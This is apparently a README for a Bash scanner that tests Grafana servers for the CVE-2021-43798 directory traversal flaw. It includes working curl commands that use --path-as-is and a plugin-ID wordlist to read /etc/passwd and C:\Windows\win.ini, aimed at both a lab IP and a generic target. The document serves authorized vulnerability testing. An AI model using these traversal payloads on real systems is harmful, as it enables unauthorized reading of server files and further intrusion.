Bash-based scanner that enumerates Grafana plugin IDs and tests for CVE-2021-43798 directory traversal by attempting to read /etc/passwd or win.ini on vulnerable instances.
A small Bash-based tool for testing Grafana instances for CVE-2021-43798, a directory traversal vulnerability affecting vulnerable Grafana versions.
The tool enumerates Grafana plugin IDs and uses curl --path-as-is to test whether directory traversal can access a known file.
For authorized security testing and lab environments only.
.
├── grafana-windows.sh
├── grafana-linux.sh
├── plugins.txt
└── README.md
grafana-windows.sh: Tests for access to C:\Windows\win.inigrafana-linux.sh: Tests for access to /etc/passwdplugins.txt: A wordlist containing Grafana plugin IDs used during enumeration.curlCheck that curl is installed:
curl --version
Make the scripts executable:
chmod +x grafana-windows.sh
chmod +x grafana-linux.sh
CVE-2021-43798 is a directory traversal vulnerability in Grafana.
The vulnerable endpoint is based around:
/public/plugins/<plugin-id>/
The vulnerability can allow traversal outside of the intended plugin directory.
The important part when testing with curl is:
--path-as-is
Without this option, the client may normalize the path before sending it to the server.
The Windows scanner attempts to retrieve:
C:\Windows\win.ini
The path is represented in the HTTP request as:
Windows/win.ini
./grafana-windows.sh \
-u http://192.168.68.193:3000 \
-w plugins.txt
Example:
./grafana-windows.sh -u http://TARGET:3000 -w plugins.txt
You can manually test a plugin with:
curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"
For the lab target:
curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"
A successful response should contain Windows INI file contents.
The Linux scanner attempts to retrieve:
/etc/passwd
./grafana-linux.sh \
-u http://192.168.68.193:3000 \
-w plugins.txt
Generic example:
./grafana-linux.sh -u http://TARGET:3000 -w plugins.txt
curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
For the lab target:
curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
A successful Linux response should contain entries similar to:
root:x:0:0:root:/root:/bin/bash
Both scanners use the same basic arguments:
u, --url : Grafana base URLw, --wordlist : Plugin wordlistf, --file : File to testh, --help : Show help